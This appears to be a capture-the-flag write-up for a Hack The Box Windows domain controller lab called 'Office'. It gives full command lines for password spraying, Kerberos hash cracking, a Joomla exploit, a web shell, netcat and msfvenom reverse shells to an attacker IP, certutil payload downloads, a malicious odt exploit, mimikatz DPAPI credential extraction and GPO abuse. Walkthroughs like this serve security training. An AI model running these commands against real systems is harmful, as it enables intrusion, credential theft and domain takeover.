alt text

Information Gathering

Rustscan

Let’s do full port scan with Rustscan:

rustscan --addresses 10.10.11.3 --range 1-65535

alt text

Based on the ports open, this machine seems to be a Domain Controller.

Enumeration

SMB - TCP 445

We will first enumerate smb with crackmapexec:

alt text

Crackmapexec find the domain name(office.htb). Let’s add it to /etc/hosts.

Unfortunately, null login directory listing fails:

alt text

We would have to come back after we gain access to valid credentials. Let’s move on.

RPC - TCP 135

We can try null login with rpcclient:

rpcclient -U "" -N 10.10.11.3

alt text

However, this is also access denied.

HTTPs - TCP 443

HTTPs is running on port 443 but the website is forbidden.

alt text

HTTP - TCP 80

We can access the website running on HTTP.

Website seems to be all about Tony Stark and Iron Man:

alt text

It is a simple website that describes about the movie Iron man and the author is written as Tony Stark.

alt text

We would be able create custom wordlist using Tony Stark username later on when we Kerbrute or AS-REP Roast on the domain.

Let’s see if there are any interesting hidden directories:

feroxbuster -u http://office.htb

alt text

Feroxbuster finds tons of new directories and /Administrator stands out.

/administrator is a login portal for Joomla Administrator:

alt text

And yes, CMS for this website is Joomla

alt text

Based on HackTricks, let’s check out Joomla’s version:

/administrator/manifests/files/joomla.xml

alt text

We can successfully identify the version: 4.2.7

User dwolfe Pwn

CVE-2023-23752

Googling on known exploits regarding Joomla 4.2.7, it seems like CVE-2023-23752 is vulnerable to it:

alt text

Let’s download the exploit from here.

Running the exploit towards the website, it throws back us with MySQL password: H0lOgrams4reTakIng0Ver754!

ruby exploit.rb http://office.htb

alt text

It has also discovered new domain(holography.htb), which we add to /etc/hosts.

We have tried using this credentials for both the website and towards services on the domain but it was working.

We would have to discover more users and try spraying passwords on those users.

Kerbrute

Let’s create a custom wordlist containing common usernames along with possible username variaion for the user Tony Stark.

We will run Kerbrute with out custom userlist:

./kerbrute_linux_amd64 userenum -d office.htb --dc 10.10.11.3 ~/Documents/htb/office/users.txt

alt text

Kerbrute find several users on the domain, inclusing tstark.

Password Spraying

Now that we have list of valid users, let’s spray the password on those users using crackmapexec:

crackmapexec smb 10.10.11.3 -u users.txt -p 'H0lOgrams4reTakIng0Ver754!'

alt text

We get valid match for user dwolfe.

User tstark Pwn

SMB Access

Now that we can access smb using credentials for dwolfe, let’s see what shares are there:

crackmapexec smb 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --shares

alt text

Among the shares where dwolfe has the read permission to, SOC Analysis shares looks the most interesting.

Let’s download the file Latest-System-Dump-8fbc124d.pcap using smbclient:

sudo smbclient '//10.10.11.3/Soc Analysis' -U dwolfe%'H0lOgrams4reTakIng0Ver754!'

alt text

Wireshark

Now that we have downloaded the pcap file, let’s open it with Wireshark and enumerate it.

Since we are enumerating Domain Controller machine, let’s filter for Kerberos:

alt text

There are two AS-REQ recordings found.

Taking a closer look at the second AS-REQ, there is a password hash that was used when authenticating:

alt text

Based on this article, let’s attempt to crack this hash.

We will first format the hash as such with the potential username(tstark), domain name(office.htb), and the hash:

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc

Now using hashcat, we should be able to crack the hash:

hashcat -m 19900 hash ~/Downloads/rockyou.txt

alt text

Hash is cracked successfully and we obtained the credentials for tstark:playboy69

Shell as web_account

Joomla RCE

We have tried login to administrator portal using the credentials as tstark but it didn’t work.

Let’s try the password for tstark with the username of administrator, since Tony Stark user seemed to be the admin on the website:

alt text

Luckily, login was successful and we now have access to the dashboard:

alt text

Doing some research, it seems like Joomla is vulnerable to RCE

Go to System Templates:

alt text

Cliking on Site Templates, we can the template running on the current website:

alt text

Let’s replace the index.php of the template with p0wny-shell:

alt text

Reloading office.htb, we get a web shell as web_account:

alt text

Let’s spawn a reverse shell on our netcat listener.

On p0wny-shell, let’s download nc.exe using certutil.exe:

certutil.exe -urlcache -split -f http://10.10.14.36:8000/nc.exe

alt text

Running nc.exe towards our netcat listener, we should be able to spawn a shell:

./nc.exe -e cmd.exe 10.10.14.36 1337

alt text

Now we have an interactive shell as web_account.

Privesc: web_account to tstark

RunasCS

Checking on what users are there on C:\Users, we see user tstark.

alt text

Earlier, we already have cracked the password for tstark: playboy69

We should be able to run commands as tstark as long we have the correct password using RunasCs.exe.

Let’s start up Python web server on the directory where we have RunasCs.exe:

python3 -m http.server

We can use the command certutil.exe -urlcache -split -f http://10.10.14.36:8000/RunasCs.exe to download RunasCs.exe:

alt text

HTB-Solarlab also includes utilizing RunasCs.exe. You can find my writeup here

We can verify RunasCs working through by sending whoami command:

.\RunasCs.exe tstark playboy69 "whoami"

alt text

Now that we know that we can execute commands as tstark, let’s spawn a reverse shell:

.\RunasCs.exe tstark playboy69 cmd.exe -r 10.10.14.36:1338

alt text

As the above command is executed, we get reverse shell connection as tstark on our netcat listener:

alt text

Privesc: tstark to ppotts

Local Enumeration

Let’s start by looking for any interesting ports that are open:

netstat -ano

alt text

Port 8083 is open but Rustscan didn’t catch that. Let’s forward the port back to us and take a look at it.

Chisel

We will first download chisel using certutil.exe:

certutil.exe -urlcache -split -f http://10.10.14.36:8000/chisel_windows.exe

On our attacking Kali machine, let’s start up chisel server with listener at port 9999:

chisel server -p 9999 --reverse

alt text

On the target machine, we will run chisel client, forwarding port 8083 to Kali’s port 9999:

.\chisel_windows.exe client 10.10.14.36:9999 R:8083:127.0.0.1:8083

alt text

Now we can access port 8083 through our Kali’s web browser:

http://127.0.0.1:8083/

alt text

CVE-2023-2255

Let’s enumerate the website.

At the bottom of the page, domain name is revealed, which we add to /etc/hosts:

alt text

There is a Job Application Submission form at /resume.php:

http://127.0.0.1:8083/resume.php

alt text

We tried throwing in random data and file, but it is rejected saying only doc, docx, docm, and odt is allowed:

alt text

After we changed the file extension to .odt, we can successfully submit the file:

alt text

Researching a bit on this, it seems like this form could be vulnerable to CVE-2023-2255.

Let’s use this exploit to generate malicious payload.

We will first create a malicious payload using msfvenom that will spawn reverse shell connection back to us when it is triggered:

sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.36 LPORT=9001 -f exe -o shell.exe

alt text

We will upload the generated payload to the target using certutil.exe:

certutil.exe -urlcache -split -f http://10.10.14.36:1235/shell.exe

alt text

alt text

Now that the payload is created and transferred to the system, we would have to upload a malicious odt file that will execute the command to run the payload.

We will create a odt file named exploit-run.odt that will run shell.exe which is already uploaded to the target system:

sudo python3 cve-2023-2255.py --cmd 'C:\Users\Public\shell.exe' --output 'exploit-run.odt'

alt text

Let’s upload the malicious odt file to the form:

alt text

It is uploaded successfully:

alt text

Within few seconds, reverse shell connection is spawned on our local netcat listener as the user ppotts:

alt text

Privesc: ppotts to hhogan

JAWS

Let’s run automation script for privilege escalation.

We will upload jaws-enum.ps1 using certutil.exe:

certutil.exe -urlcache -split -f http://10.10.14.36:1236/jaws-enum.ps1

alt text

We can launch the scan using the command: ./jaws-enum.ps1

After waiting a bit for the scan to finish, we can see that JAWS discovered Stored Credentials:

alt text

Let’s verify the presence of stored credentials on the system:

cmdkey /list

alt text

HTB-Access also includes abusing stored credentials. I have a writeup here

Mimikatz

Let’s follow this guide to obtain the stored password.

On C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials, you can list credential folders:

alt text

Let’s upload mimikatz.exe to the target machine using certutil.exe:

certutil.exe -urlcache -split -f http://10.10.14.36:1236/mimikatz.exe

alt text

dpapi::cred: This module in Mimikatz is used for handling DPAPI (Data Protection API) credentials. DPAPI is a Windows feature that allows applications to securely store sensitive data such as passwords, encryption keys, and other confidential information.

We will use dpapi::cred to pass files containing credentials and retrieve our guidmaster key.

We can use this key to access stored credentials.

First file:

dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4

alt text

Second file:

dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\18A1927A997A794B65E9849883AC3F3E

alt text

Third file:

dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\E76CCA3670CD9BB98DF79E0A8D176F1E

alt text

Now that we have obtained guidmaster key, let’s move from credentials folder to the protect folder and retrieve master key. This key will be used for decrypting the credentials later.

PS C:\users\ppotts\appdata\roaming\Microsoft\Protect> dir

alt text

When we inspect the protect directory, we can see that the same guidmaster keys that we previously obtained from the credentials folder is found in it:

alt text

We need to use the full path mentioned above and append “/rpc” to it, as shown in the image. This action will provide us with the master key necessary for decrypting the passwords into clear text.

dpapi::masterkey /in:C:\\users\ppotts\appdata\roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc

alt text

By the end of the output, we can see the master key:

alt text

We will now utilize the master key and decrypt the credentials stored in the protected directory in clear test: H4ppyFtW183#

dpapi::cred /in:C:\users\ppotts\appdata\roaming\Microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4 /masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166

alt text

Now that we have the password, we should be able to access winrm as hhogan:

alt text

We now have a stable shell as the user hhogan.

Privesc: hhogan to system

Let’s first check information regarding hhogan.

Upon inspecting the user’s privileges and group memberships, we can see that user hhogan is part of the “GPO manager” group. This indicates that the user has the ability to manage Group Policy Objects (GPOs) or potentially abuse them to gain access to the administrator account:

whoami /all

alt text

We will first list out all GPOs for potential exploits:

Get-GPO -All | Select-Object -ExpandProperty DisplayName

alt text

Using HackTricks as the guide, we should be able to escalate our privilege to administrator.

Let’s download and upload SharpGPOAbuse to the system:

alt text

We will use SharpGPOAbuse to add user HHogan as the local administrator:

./SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Policy"

alt text

We will update windows group policy setting:

gpupdate /force

alt text

We can verify that user hhogan is in the administrators group:

net localgroup Administrators

alt text

Using psexec, we now have spawned interactive shell as the system:

psexec.py HHogan:H4ppyFtW183#@10.10.11.3

alt text

References